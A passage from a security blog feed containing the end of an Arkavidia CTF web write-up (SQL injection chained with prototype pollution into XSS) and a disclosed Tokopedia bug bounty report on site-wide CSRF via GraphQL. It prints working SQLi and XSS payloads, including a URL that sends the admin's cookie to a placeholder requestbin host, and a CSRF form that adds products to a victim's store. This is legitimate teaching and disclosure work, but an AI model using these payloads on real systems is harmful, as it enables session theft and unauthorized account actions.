    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"reportform"</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"report.php"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"post"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"hash"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"report-url"</span> /&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/javascript"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"app.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<h3 id="heading-view-sourcehttpslave2ctfarkavidiaid10021atlasjs">view-source:http://slave2.ctf.arkavidia.id:10021/atlas.js</h3>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> isObject = <span class="hljs-function">(<span class="hljs-params">obj</span>) =&gt;</span> <span class="hljs-keyword">typeof</span> obj === <span class="hljs-string">"object"</span>;

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">merge</span>(<span class="hljs-params">dest, src</span>) </span>{
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> attr <span class="hljs-keyword">in</span> src) {
    <span class="hljs-keyword">if</span> (isObject(src[attr])) {
      <span class="hljs-keyword">if</span> (!dest[attr]) dest[attr] = {};
      merge(dest[attr], src[attr]);
    } <span class="hljs-keyword">else</span> {
      dest[attr] = src[attr];
    }
  }

  <span class="hljs-keyword">return</span> dest;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parseHash</span>(<span class="hljs-params">hash</span>) </span>{
  <span class="hljs-keyword">if</span> (!hash) <span class="hljs-keyword">return</span> {};
  <span class="hljs-keyword">let</span> parts = hash.split(<span class="hljs-string">"&amp;"</span>);
  <span class="hljs-keyword">let</span> out = {};
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> part <span class="hljs-keyword">in</span> parts) {
    <span class="hljs-keyword">let</span> sect = parts[part].split(<span class="hljs-string">"="</span>);
    <span class="hljs-keyword">let</span> key = sect[<span class="hljs-number">0</span>];
    <span class="hljs-keyword">let</span> val = <span class="hljs-built_in">decodeURIComponent</span>(sect[<span class="hljs-number">1</span>]);

    merge(out, { [key]: val });
  }

  <span class="hljs-keyword">return</span> out;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setHashParams</span>(<span class="hljs-params">newParams</span>) </span>{
  hashParams = merge(hashParams, newParams);
  <span class="hljs-keyword">let</span> attrStrings = [];
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> attr <span class="hljs-keyword">in</span> hashParams) {
    attrStrings.push(attr + <span class="hljs-string">"="</span> + <span class="hljs-built_in">encodeURIComponent</span>(hashParams[attr]));
  }
  <span class="hljs-built_in">window</span>.location.href = <span class="hljs-string">"#"</span> + attrStrings.join(<span class="hljs-string">"&amp;"</span>);
}

<span class="hljs-keyword">var</span> hash = <span class="hljs-built_in">window</span>.location.hash.substring(<span class="hljs-number">1</span>);
<span class="hljs-keyword">var</span> hashParams = parseHash(hash);
</code></pre>
<h3 id="heading-view-sourcehttpslave2ctfarkavidiaid10021appjs">view-source:http://slave2.ctf.arkavidia.id:10021/app.js</h3>
<pre><code class="lang-js"><span class="hljs-keyword">var</span> lat = <span class="hljs-number">-6.8905652</span>;
<span class="hljs-keyword">var</span> long = <span class="hljs-number">107.6101062</span>;
<span class="hljs-keyword">var</span> zoom = <span class="hljs-number">17</span>;

<span class="hljs-built_in">window</span>.onhashchange = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">let</span> hash = <span class="hljs-built_in">window</span>.location.hash.substring(<span class="hljs-number">1</span>);
  hashParams = parseHash(hash);
  <span class="hljs-keyword">let</span> openedId = hashParams.o;
  openDetails(openedId);
};

<span class="hljs-keyword">if</span> (hashParams.c) {
  lat = hashParams[<span class="hljs-string">"c.lat"</span>];
  long = hashParams[<span class="hljs-string">"c.lon"</span>];
}

<span class="hljs-keyword">if</span> (hashParams.z) {
  zoom = hashParams.z;
}

<span class="hljs-keyword">var</span> points = {};

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">openDetails</span>(<span class="hljs-params">id</span>) </span>{
  <span class="hljs-keyword">let</span> point = points[id];
  <span class="hljs-keyword">if</span> (point) {
    $(<span class="hljs-string">"#details"</span>).show();
    $(<span class="hljs-string">"#inst"</span>).hide();
    $(<span class="hljs-string">"#poi-title"</span>).text(point.name);
    <span class="hljs-keyword">if</span> (point.img_uri) {
      $(<span class="hljs-string">"#poi-preview"</span>).attr(<span class="hljs-string">"src"</span>, point.img_uri).show();
    } <span class="hljs-keyword">else</span> {
      $(<span class="hljs-string">"#poi-preview"</span>).hide();
    }

    point.isHtml
      ? $(<span class="hljs-string">"#poi-desc"</span>).html(point.description)
      : $(<span class="hljs-string">"#poi-desc"</span>).text(point.description);
  } <span class="hljs-keyword">else</span> {
    $(<span class="hljs-string">"#details"</span>).hide();
    $(<span class="hljs-string">"#inst"</span>).show();
  }
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">loadBounds</span>(<span class="hljs-params">lngLb, latLb, lngUb, latUb</span>) </span>{
  $.get(
    <span class="hljs-string">"poi.php"</span>,
    { <span class="hljs-attr">lng_lb</span>: lngLb, <span class="hljs-attr">lat_lb</span>: latLb, <span class="hljs-attr">lng_ub</span>: lngUb, <span class="hljs-attr">lat_ub</span>: latUb },
    <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">data</span>) </span>{
      markers.clearLayers();
      points = {};
      <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> key <span class="hljs-keyword">in</span> data) {
        <span class="hljs-keyword">let</span> point = data[key];

        merge(points, { [point.id]: point });

        <span class="hljs-keyword">if</span> (point.id === hashParams.o) {
          openDetails(point.id);
        }

        <span class="hljs-keyword">let</span> id = point.id;
        L.marker([point.lat, point.lng])
          .on(<span class="hljs-string">"click"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
            <span class="hljs-keyword">if</span> (hashParams.o !== id) {
              setHashParams({ <span class="hljs-attr">o</span>: id });
            } <span class="hljs-keyword">else</span> {
              setHashParams({ <span class="hljs-attr">o</span>: <span class="hljs-string">""</span> });
            }
          })
          .addTo(markers);
      }
    }
  );
}

<span class="hljs-keyword">var</span> map = L.map(<span class="hljs-string">"map"</span>, { <span class="hljs-attr">zoomControl</span>: <span class="hljs-literal">false</span>, <span class="hljs-attr">maxZoom</span>: <span class="hljs-number">18</span> }).setView(
  [lat, long],
  zoom
);
<span class="hljs-keyword">let</span> markers = L.markerClusterGroup();
map.addLayer(markers);

map.on(<span class="hljs-string">"moveend"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">e</span>) </span>{
  <span class="hljs-keyword">let</span> center = map.getCenter();
  <span class="hljs-keyword">let</span> zoom = map.getZoom();
  <span class="hljs-keyword">let</span> bounds = map.getBounds();
  loadBounds(
    bounds._southWest.lng,
    bounds._southWest.lat,
    bounds._northEast.lng,
    bounds._northEast.lat
  );

  setHashParams({
    <span class="hljs-string">"c.lat"</span>: center.lat,
    <span class="hljs-string">"c.lon"</span>: center.lng,
    <span class="hljs-attr">z</span>: zoom,
  });
});

$(<span class="hljs-string">"#close-btn"</span>).click(<span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
  setHashParams({ <span class="hljs-attr">o</span>: <span class="hljs-string">""</span> });
});

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">reportMap</span>(<span class="hljs-params"></span>) </span>{
  $(<span class="hljs-string">"#report-url"</span>).val(<span class="hljs-built_in">window</span>.location.hash.substring(<span class="hljs-number">1</span>));
  $(<span class="hljs-string">"#reportform"</span>).submit();
}

L.tileLayer(<span class="hljs-string">"https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png"</span>, {
  <span class="hljs-attr">attribution</span>:
    <span class="hljs-string">'&amp;copy; &lt;a href="https://www.openstreetmap.org/copyright"&gt;OpenStreetMap&lt;/a&gt; contributors | &lt;a class="cursor-pointer" onclick="reportMap();"&gt;Report Map&lt;/a&gt;'</span>,
}).addTo(map);

<span class="hljs-keyword">let</span> bounds = map.getBounds();
<span class="hljs-keyword">let</span> lngLb = hashParams[<span class="hljs-string">"b.lng.lb"</span>] || bounds._southWest.lng;
<span class="hljs-keyword">let</span> latLb = hashParams[<span class="hljs-string">"b.lat.lb"</span>] || bounds._southWest.lat;
<span class="hljs-keyword">let</span> lngUb = hashParams[<span class="hljs-string">"b.lng.ub"</span>] || bounds._northEast.lng;
<span class="hljs-keyword">let</span> latUb = hashParams[<span class="hljs-string">"b.lat.ub"</span>] || bounds._northEast.lat;

loadBounds(lngLb, latLb, lngUb, latUb);
</code></pre>
<p>From all of the code above, we assume there should be a XSS technique involved on the solve step to get the flag. We get this assumption based on there is exist a form that we can report something to admin and there is exist an unsafe <em>merge</em> function that used on the JS code.</p>
<h2 id="heading-finding-the-sql-injection">Finding the SQL Injection</h2>
<hr />

<p>On the <em>app.js</em>, there is a background request made to path <em>/poi.php</em> with some parameters. My teammate, Fadli, then found that there is SQLi on the GET param request. This is the example request and response from normal request :</p>
<table>
  <thead>
    <tr>
      <th>Request</th>
      <th>Response</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>
        <pre>GET /poi.php?lng_lb=107.604957818985&amp;lat_lb=-6.891912527239271&amp;lng_ub=107.61525750160219&amp;lat_ub=-6.889223063179617 HTTP/1.1
Host: slave2.ctf.arkavidia.id:10021
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: <em>/</em>
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://slave2.ctf.arkavidia.id:10021/
Cache-Control: max-age=0
        </pre>
      </td>
      <td>
        <pre>HTTP/1.1 200 OK
Date: Sun, 28 Feb 2021 11:51:00 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Content-Length: 846
Connection: close
Content-Type: application/json
<br />
[
  {
    "id": "1",
    "lat": "-6.890572547912598",
    "lng": "107.6097640991211",
    "name": "Labtek V Benny Subianto",
    "description": "Labtek V adalah gedung tercinta yang digunakan oleh mahasiswa Teknik Informatika dan Sistem dan Teknologi Informasi ITB. Gedung ini memiliki kembaran lainnya, yaitu Labtek VI, VII, dan VIII yang masing-masing memiliki namesake yang berbeda.",
    "img_uri": "https://www.itb.ac.id/files/images/1492062830.jpg",
    "meta": null
  },
  {
    "id": "3",
    "lat": "-6.891597",
    "lng": "107.610387",
    "name": "Lapcin &amp; Lapbas",
    "description": "Di dua lapangan ini biasanya IT Festival Arkavidia dilaksanakan! Lapangan Cinta dan Lapangan Basket merupakan saksi bisu dari kegiatan kemahasiswaan di ITB, baik itu konser maupun agitasi.",
    "img_uri": "https://rinaldimunir.files.wordpress.com/2012/12/271120122982.jpg?w=1280&amp;h=960",
    "meta": {
      "establishment": "open space"
    }
  }
]
        </pre>
      </td>
    </tr>
  </tbody>
</table>

<p>From the normal request above, we know that the <em>meta</em> value could contain another JSON object, so we try to use <strong>JSON_OBJECT</strong> of the MySQL to select some JSON object on the <em>meta</em> value. </p>
<table>
  <thead>
    <tr>
      <th>Request</th>
      <th>Response</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>
        <pre>GET /poi.php?lng_lb=1&amp;lat_lb=1&amp;lng_ub=(select+108)+and+false+union+select+1,2,3,4,5,1,JSON_OBJECT('test',JSON_OBJECT('test2','asd'))+--+-&amp;lat_ub=1 HTTP/1.1
Host: slave2.ctf.arkavidia.id:10021
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: <em>/</em>
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://slave2.ctf.arkavidia.id:10021/
        </pre>
      </td>
      <td>
        <pre>HTTP/1.1 200 OK
Date: Sun, 28 Feb 2021 12:02:26 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Content-Length: 107
Connection: close
Content-Type: application/json
<br />
[
  {
    "id": "1",
    "lat": "2",
    "lng": "3",
    "name": "4",
    "description": "5",
    "img_uri": "1",
    "meta": {
      "test": {
        "test2": "asd"
      }
    }
  }
]
        </pre>
      </td>
    </tr>
  </tbody>
</table>

<p>This SQLi will be used on building the payload for Prototype Pollution XSS.</p>
<h2 id="heading-crafting-prototype-pollution">Crafting Prototype Pollution</h2>
<hr />

<p>We know there is an unsafe <em>merge</em> function that can be used for Prototype Pollution. For the reference of what is Prototype Pollution ? Can be found <a target="_blank" href="https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications">here</a> . </p>
<p><br /></p>
<p>First, when the web loads, it will try to build <strong>hashParams</strong> object by using the value supplied on the <strong>location.hash.substring(1)</strong>. Then the webpage will build some parameter and finally call function <strong>loadBounds</strong> :</p>
<pre><code class="lang-js"><span class="hljs-keyword">let</span> lngLb = hashParams[<span class="hljs-string">"b.lng.lb"</span>] || bounds._southWest.lng;
<span class="hljs-keyword">let</span> latLb = hashParams[<span class="hljs-string">"b.lat.lb"</span>] || bounds._southWest.lat;
<span class="hljs-keyword">let</span> lngUb = hashParams[<span class="hljs-string">"b.lng.ub"</span>] || bounds._northEast.lng;
<span class="hljs-keyword">let</span> latUb = hashParams[<span class="hljs-string">"b.lat.ub"</span>] || bounds._northEast.lat;

loadBounds(lngLb, latLb, lngUb, latUb);
</code></pre>
<p>On the <strong>loadBounds</strong> function, there will be a GET request to <em>/poi.php</em> and the response data will be build to <strong>points</strong> object using unsafe <strong>merge</strong> function :</p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">loadBounds</span>(<span class="hljs-params">lngLb, latLb, lngUb, latUb</span>) </span>{
  $.get(
    <span class="hljs-string">"poi.php"</span>,
    { <span class="hljs-attr">lng_lb</span>: lngLb, <span class="hljs-attr">lat_lb</span>: latLb, <span class="hljs-attr">lng_ub</span>: lngUb, <span class="hljs-attr">lat_ub</span>: latUb },
    <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">data</span>) </span>{
      markers.clearLayers();
      points = {};
      <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> key <span class="hljs-keyword">in</span> data) {
        <span class="hljs-keyword">let</span> point = data[key];

        merge(points, { [point.id]: point });

        <span class="hljs-keyword">if</span> (point.id === hashParams.o) {
          openDetails(point.id);
        }
</code></pre>
<p>After that, there will be a call to function <strong>openDetails</strong> using the <em>id</em> received from the response :</p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">openDetails</span>(<span class="hljs-params">id</span>) </span>{
  <span class="hljs-keyword">let</span> point = points[id];
  <span class="hljs-keyword">if</span> (point) {
    $(<span class="hljs-string">"#details"</span>).show();
    $(<span class="hljs-string">"#inst"</span>).hide();
    $(<span class="hljs-string">"#poi-title"</span>).text(point.name);
    <span class="hljs-keyword">if</span> (point.img_uri) {
      $(<span class="hljs-string">"#poi-preview"</span>).attr(<span class="hljs-string">"src"</span>, point.img_uri).show();
    } <span class="hljs-keyword">else</span> {
      $(<span class="hljs-string">"#poi-preview"</span>).hide();
    }

    point.isHtml
      ? $(<span class="hljs-string">"#poi-desc"</span>).html(point.description)
      : $(<span class="hljs-string">"#poi-desc"</span>).text(point.description);
  } <span class="hljs-keyword">else</span> {
    $(<span class="hljs-string">"#details"</span>).hide();
    $(<span class="hljs-string">"#inst"</span>).show();
  }
}
</code></pre>
<p>Since we control the value on the <strong>points</strong> object (using SQLi before), we have an idea to inject XSS payload on the <strong>description</strong> value. But, there is one requirement, <strong>point</strong> object must have filled value <strong>isHtml</strong> on the object. But, like you see on the response, there is no <strong>isHtml</strong> value. Do you remember previously that we can inject JSON object on the <strong>meta</strong> response value ? Yes, we will use that to host our Prototype Pollution payload. Since the unsafe <strong>merge</strong> function works recursively, we could pollute the JS prototype by using this value on the <strong>meta</strong> response :</p>
<pre><code class="lang-json">{<span class="hljs-attr">"__proto__"</span>: {<span class="hljs-attr">"isHtml"</span>: <span class="hljs-string">"true"</span>}}
</code></pre>
<p>Above payload will pollute the JS prototype and add <strong>.isHtml</strong> value to all the object exist. </p>
<h2 id="heading-combine-the-vuln-and-get-the-flag">Combine the Vuln and Get the Flag</h2>
<hr />

<p>By combining the two vuln, we come up with this url payload :</p>
<pre><code><span class="hljs-attribute">http</span>://slave<span class="hljs-number">2</span>.ctf.arkavidia.id:<span class="hljs-number">10021</span>/#b.lng.lb=<span class="hljs-number">1</span>&amp;b.lat.lb=<span class="hljs-number">1</span>&amp;b.lng.ub=(select%<span class="hljs-number">20108</span>)%<span class="hljs-number">20</span>and%<span class="hljs-number">20</span>false%<span class="hljs-number">20</span>union%<span class="hljs-number">20</span>select%<span class="hljs-number">20</span>'bruh',<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,'&lt;script&gt;alert(document.domain);&lt;/script&gt;',<span class="hljs-number">1</span>,JSON_OBJECT('__proto__',JSON_OBJECT('isHtml','true'))%<span class="hljs-number">20</span>--%<span class="hljs-number">20</span>-&amp;b.lat.ub=<span class="hljs-number">1</span>&amp;o=bruh
</code></pre><p>Visiting above url, we could get a working XSS :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657866181070/75_lalPlI.png" alt="arkavidia_atlas_xss.png" class="image--center mx-auto" /></p>
<p>After verify the working XSS, we then try to change the url payload to perform a request to our requestbin and try to leak the admin cookie (if there is any):</p>
<pre><code><span class="hljs-attribute">http</span>://slave<span class="hljs-number">2</span>.ctf.arkavidia.id:<span class="hljs-number">10021</span>/#b.lng.lb=<span class="hljs-number">1</span>&amp;b.lat.lb=<span class="hljs-number">1</span>&amp;b.lng.ub=(select%<span class="hljs-number">20108</span>)%<span class="hljs-number">20</span>and%<span class="hljs-number">20</span>false%<span class="hljs-number">20</span>union%<span class="hljs-number">20</span>select%<span class="hljs-number">20</span>'bruh',<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,'%<span class="hljs-number">3</span>Cimg%<span class="hljs-number">20</span>src%<span class="hljs-number">3</span>d%<span class="hljs-number">22</span>https://&lt;reqbin url&gt;/?a%<span class="hljs-number">3</span>d%<span class="hljs-number">22</span>%<span class="hljs-number">2</span>bdocument.cookie%<span class="hljs-number">3</span>E',<span class="hljs-number">1</span>,JSON_OBJECT('__proto__',JSON_OBJECT('isHtml','true'))%<span class="hljs-number">20</span>--%<span class="hljs-number">20</span>-&amp;b.lat.ub=<span class="hljs-number">1</span>&amp;o=bruh
</code></pre><p>Send it by trigger <strong>reportMap()</strong> function on the console after visiting above url, wait some time, and we receive connection from admin and the flag is located on the User-Agent :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657866194494/1Cuf72YA3.png" alt="arkavidia_atlas_flag.png" class="image--center mx-auto" /></p>
<h3 id="heading-flag-arkav7capekbikinsoalnyasumpah">Flag : Arkav7{capek_bikin_soalnya_sumpah}</h3>
]]></content:encoded></item><item><title><![CDATA[[Tokopedia] Site-Wide CSRF Through Graphql Request]]></title><description><![CDATA[What is Cross Site Request Forgery ?

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing re...]]></description><link>https://yeraisci.com/tokopedia-site-wide-csrf-through-graphql-request</link><guid isPermaLink="true">https://yeraisci.com/tokopedia-site-wide-csrf-through-graphql-request</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[Security]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[GraphQL]]></category><category><![CDATA[csrf]]></category><dc:creator><![CDATA[Rafie Muhammad]]></dc:creator><pubDate>Mon, 15 Jul 2019 06:04:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1657865301596/9tSe5_1Z4.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-is-cross-site-request-forgery">What is Cross Site Request Forgery ?</h2>
<p></p><hr />
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request.<br /><br /><p></p>
<h2 id="heading-what-is-graph-query-language">What is Graph Query Language ?</h2>
<p></p><hr />
GraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data. GraphQL provides a complete and understandable description of the data in your API, gives clients the power to ask for exactly what they need and nothing more, makes it easier to evolve APIs over time, and enables powerful developer tools.<br /><br /><p></p>
<h2 id="heading-proof-of-concept">Proof of Concept</h2>
<hr />

<p>When visiting <a target="_blank" href="https://m.tokopedia.com/">https://m.tokopedia.com</a>, most of the request is using <code>GraphQL</code> endpoint in <a target="_blank" href="https://gql.tokopedia.com/">https://gql.tokopedia.com</a>.Here is the example request to add product to wishlist :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657865460909/zGEPwtH_J.png" alt="example_request_add_wishlist.png" />
<br /><br />
When looking at the request in burpsuite, i notice something interesting.The request to <code>GraphQL</code> endpoint is not using an authentication key or token in the request header.Usually, <code>GraphQL</code> is more like <code>API</code> style that use authentication key to get data, but Tokopedia seems to implement the request to <code>GraphQL</code> endpoint using session and cookie as authentication.<br />
<br />
Indeed, before make an actual request to get the data, it will check the authentication to <code>GraphQL</code> using this request :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657865584822/aoy80fBRm.png" alt="request_check_auth_graphql.png" />
<br /><br />
I'm thinking if we can somehow perform a CSRF attack to the <code>GraphQL</code> endpoint.Then i try to modify request data in burpsuite.Several change that i made to the request :</p>
<ol>
<li>Remove the <code>Referer</code></li>
<li>Set <code>Origin</code> to <code>null</code></li>
<li>Set <code>content-type</code> to <code>text/plain</code></li>
<li>Append <code>"="</code> to the end of body request</li>
</ol>
<p>Appending <code>"="</code> to the end of the body request is to test if we can make a request of <code>JSON</code> data using post form in html and using enctype <code>text/plain</code>.After modifying the request, test to send the request. (Example image below is request to change profile image)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657865595559/BnOdrrbT3.png" alt="example_request_change_picture.png" /></p>
<p></p><h4><b>And it works !</b></h4>
<br /><br /><p></p>
<p>We can then craft a simple html to make a CSRF attack (This POC use sample request of uploading a product to the store) : </p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Site Wide CSRF GraphQL : Add Product to Target User<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"https://gql.tokopedia.com/"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"POST"</span> <span class="hljs-attr">enctype</span>=<span class="hljs-string">"text/plain"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">'[{"operationName":"AddProductMutation","variables":{"input":{"product_brand":{"brand_id":0,"name":""},"product_catalog":{"catalog_id":0},"product_category":{"category_id":891},"product_condition":1,"product_description":"Attacker","product_etalase":{"etalase_id":17561860},"product_free_return":false,"product_min_order":1,"product_must_insurance":false,"product_name":"Added by Attacker","product_picture":[{"from_ig":0,"description":"","x":1,"y":1,"file_path":"product-1/2019/2/6/44628626","file_name":"44628626_6070a039-2f84-4d8c-99b8-c3d68083ebf7_980_759.png"}],"product_preorder":{"preorder_process_time":0,"preorder_status":0,"preorder_time_unit":1},"product_price":100,"product_price_currency":1,"product_sku":"","product_status":1,"product_stock":0,"product_video":[],"product_weight":100,"product_weight_unit":1,"product_wholesale":[]}},"query":"mutation AddProductMutation($input: AddProductInputType) {\n  addProduct(input: $input) {\n    header {\n      messages\n      reason\n      __typename\n    }\n    data {\n      product_id\n      product_name\n      product_alias\n      product_condition\n      product_description\n      product_last_update_price\n      product_min_order\n      product_max_order\n      product_must_insurance\n      product_price\n      product_price_currency\n      product_status\n      product_stock\n      product_weight\n      product_weight_unit\n      product_url\n      product_category {\n        category_id\n        __typename\n      }\n      product_etalase {\n        etalase_id\n        etalase_name\n        __typename\n      }\n      product_position {\n        position\n        __typename\n      }\n      product_shop {\n        shop_id\n        shop_name\n        shop_domain\n        shop_url\n        __typename\n      }\n      product_free_return\n      product_sku\n      product_gtin\n      product_name_editable\n      __typename\n    }\n    errors\n    __typename\n  }\n}\n"}]'</span> /&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Click Me !"</span>/&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>In above crafted html, is to make a CSRF request to add product to the store (by just modifying the <code>etalase_id</code> to id that the targeted store own).When a targeted user or store account visit webpage that hosting this crafted html and click the submit button (or we can make this auto submit using javascript), the CSRF request will be fired and a product is added to the targeted store without user consent.<br /><br /></p>
<h2 id="heading-impact">Impact</h2>
<hr />

<p>Seeing that request in <a target="_blank" href="https://m.tokopedia.com/">https://m.tokopedia.com</a> mostly using <code>GraphQL</code>, there is several impact from this security issue :</p>
<ol>
<li>Change user account profile picture</li>
<li>Add, edit and delete product from the store</li>
<li>Add, edit and delete address from user account</li>
<li>Change profile picture, description, status, slogan of the store</li>
<li>Add, edit and delete send address of the store</li>
<li>Add, edit and delete store note</li>
<li>Stealing tokopedia wallet by adding attacker bank account to targeted user account</li>
<li>Perform anything about <code>order</code> action behalf of the user</li>
<li>etc</li>
</ol>
<p>That's all from my first blog post, see you again in my next blog post (hopefully).<br />
Happy Bug Hunting !</p>
<h2 id="heading-timeline">Timeline</h2>
<p></p><hr /><p></p>
<table>
  <thead>
    <tr>
      <th>Timestamp</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>February 6th 2019</td>
      <td>Report Submited</td>
    </tr>
    <tr>
      <td>February 6th 2019</td>
      <td>Report is valid and marked as high severity</td>
    </tr>
    <tr>
      <td>March 25th 2019</td>
      <td>Check the vulnerability is fixed and follow up to tokopedia team</td>
    </tr>
    <tr>
      <td>March 25th 2019</td>
      <td>Tokopedia confirm the bug has been fixed</td>
    </tr>
    <tr>
      <td>May 27th 2019</td>
      <td>Reward sent</td>
    </tr>
    <tr>
      <td>July 15th 2019</td>
      <td>Tokopedia Agree to Disclose The Bug</td>
    </tr>
  </tbody>
</table>
]]></content:encoded></item></channel></rss>